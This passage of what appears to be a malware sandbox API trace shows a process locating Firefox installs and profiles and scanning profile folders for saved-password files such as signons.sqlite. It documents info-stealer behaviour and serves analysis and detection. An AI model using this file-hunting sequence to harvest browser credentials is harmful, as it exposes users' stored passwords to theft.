lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.037] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.037] LocalFree (hMem=0x6275a8) returned 0x0 [0071.037] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0071.037] lstrlenA (lpString="\\*.*") returned 4 [0071.037] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0071.037] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.037] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0071.037] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0x642768 [0071.037] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.037] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.037] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.037] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.037] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 1 [0071.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0071.037] lstrlenA (lpString="webapps.json") returned 12 [0071.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0071.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0071.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0071.037] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f742 | out: lpFindFileData=0x12f742) returned 0 [0071.037] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.038] LocalFree (hMem=0x65b428) returned 0x0 [0071.038] LocalFree (hMem=0x65b348) returned 0x0 [0071.038] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 1 [0071.038] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.038] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0071.038] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0071.038] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.038] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.038] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8aa | out: lpFindFileData=0x12f8aa) returned 0 [0071.038] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0071.038] LocalFree (hMem=0x627320) returned 0x0 [0071.038] LocalFree (hMem=0x627248) returned 0x0 [0071.038] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa12 | out: lpFindFileData=0x12fa12) returned 0 [0071.038] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.038] LocalFree (hMem=0x65d330) returned 0x0 [0071.038] LocalFree (hMem=0x65e350) returned 0x0 [0071.038] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 1 [0071.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0071.038] lstrlenA (lpString="profiles.ini") returned 12 [0071.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0071.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0071.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0071.038] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb7a | out: lpFindFileData=0x12fb7a) returned 0 [0071.038] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0071.039] LocalFree (hMem=0x643c28) returned 0x0 [0071.039] LocalFree (hMem=0x643b68) returned 0x0 [0071.039] LocalFree (hMem=0x6475b0) returned 0x0 [0071.039] LocalFree (hMem=0x6474f8) returned 0x0 [0071.039] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.039] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.039] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.039] RegCloseKey (hKey=0x138) returned 0x0 [0071.039] LocalFree (hMem=0x649428) returned 0x0 [0071.039] LocalFree (hMem=0x643aa8) returned 0x0 [0071.039] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.039] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0071.039] lstrlenA (lpString="\\") returned 1 [0071.040] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.040] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.040] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.040] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0071.040] lstrlenA (lpString="Uninstall") returned 9 [0071.040] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0071.040] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.040] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0071.040] LocalFree (hMem=0x6474f8) returned 0x0 [0071.040] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Uninstall" [0071.040] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcdc | out: phkResult=0x12fcdc*=0x138) returned 0x0 [0071.040] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcd4, lpData=0x0, lpcbData=0x12fcd8*=0x7 | out: lpType=0x12fcd4*=0x0, lpData=0x0, lpcbData=0x12fcd8*=0x0) returned 0x2 [0071.040] RegCloseKey (hKey=0x138) returned 0x0 [0071.040] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fcb0 | out: phkResult=0x12fcb0*=0x138) returned 0x0 [0071.040] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fca8, lpData=0x0, lpcbData=0x12fcac*=0x12fc94 | out: lpType=0x12fca8*=0x0, lpData=0x0, lpcbData=0x12fcac*=0x0) returned 0x2 [0071.040] RegCloseKey (hKey=0x138) returned 0x0 [0071.040] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fc84 | out: phkResult=0x12fc84*=0x138) returned 0x0 [0071.040] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fc7c, lpData=0x0, lpcbData=0x12fc80*=0x12fc68 | out: lpType=0x12fc7c*=0x0, lpData=0x0, lpcbData=0x12fc80*=0x0) returned 0x2 [0071.040] RegCloseKey (hKey=0x138) returned 0x0 [0071.040] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.040] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.040] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.040] RegCloseKey (hKey=0x138) returned 0x0 [0071.040] LocalFree (hMem=0x649428) returned 0x0 [0071.040] LocalFree (hMem=0x643aa8) returned 0x0 [0071.040] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x2, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.041] RegCloseKey (hKey=0x134) returned 0x0 [0071.041] LocalFree (hMem=0x646ba0) returned 0x0 [0071.041] LocalFree (hMem=0x647440) returned 0x0 [0071.041] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.041] RegCloseKey (hKey=0x130) returned 0x0 [0071.041] LocalFree (hMem=0x646318) returned 0x0 [0071.041] LocalFree (hMem=0x6292f8) returned 0x0 [0071.041] RegEnumKeyExA (in: hKey=0x13c, dwIndex=0x3, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.041] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.041] lstrlenA (lpString="\\") returned 1 [0071.041] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.041] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.041] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.041] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.041] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0071.041] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0071.041] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.041] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.041] LocalFree (hMem=0x65e350) returned 0x0 [0071.042] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Firefox") returned="Firefox 25.0" [0071.042] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0071.042] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0071.042] RegCloseKey (hKey=0x130) returned 0x0 [0071.042] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0071.042] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0071.042] RegCloseKey (hKey=0x130) returned 0x0 [0071.042] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0071.042] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0071.042] RegCloseKey (hKey=0x130) returned 0x0 [0071.042] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.042] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.042] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.042] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.042] lstrlenA (lpString="\\") returned 1 [0071.042] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.042] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.042] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.042] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.042] lstrlenA (lpString="bin") returned 3 [0071.042] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647440 [0071.042] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.042] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0071.042] LocalFree (hMem=0x6293a8) returned 0x0 [0071.042] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Firefox") returned="Firefox 25.0\\bin" [0071.042] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.043] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x1, lpData=0x0, lpcbData=0x12fd0c*=0x2d) returned 0x0 [0071.043] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6474f8 [0071.043] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x6474f8, lpcbData=0x12fd0c*=0x2d | out: lpType=0x0, lpData=0x6474f8*=0x43, lpcbData=0x12fd0c*=0x2d) returned 0x0 [0071.043] RegCloseKey (hKey=0x134) returned 0x0 [0071.043] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0071.043] lstrlenA (lpString="") returned 0 [0071.043] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6475b0 [0071.043] lstrcpyA (in: lpString1=0x6475b0, lpString2="C:\\Program Files\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0071.043] lstrcatA (in: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0071.043] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0071.043] StrStrIA (lpFirst="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0071.043] StrRChrIA (lpStart="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0071.043] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox") returned 32 [0071.043] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.043] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0071.043] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0071.043] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0071.043] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0071.043] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0071.043] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.043] LocalFree (hMem=0x626a88) returned 0x0 [0071.043] GetFileAttributesA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0071.043] GetFileAttributesA (lpFileName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 0x10 [0071.043] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.043] lstrlenA (lpString="") returned 0 [0071.044] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643b68 [0071.044] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.044] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.044] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.044] lstrlenA (lpString="profiles.ini") returned 12 [0071.044] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65e350 [0071.044] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.044] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0071.044] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x662338 [0071.045] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x6721b0 [0071.045] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0071.045] CloseHandle (hObject=0x135) returned 1 [0071.045] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x662338, nSize=0xfde8, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0071.046] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0071.046] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0071.046] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x6721b0, nSize=0xfff, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/h231daer.default") returned 0x19 [0071.046] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0071.047] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0071.047] lstrlenA (lpString="Profiles/h231daer.default") returned 25 [0071.047] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0071.047] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0071.047] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default" [0071.047] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.047] lstrlenA (lpString="\\*.*") returned 4 [0071.047] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0071.047] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.047] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0071.047] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 0x6426a8 [0071.047] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.047] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.047] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.047] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.047] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.047] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0071.047] lstrlenA (lpString="addons.json") returned 11 [0071.047] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0071.047] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0071.047] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0071.047] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.047] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0071.047] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0071.048] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.048] lstrlenA (lpString="\\") returned 1 [0071.048] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.048] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.048] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.048] lstrlenA 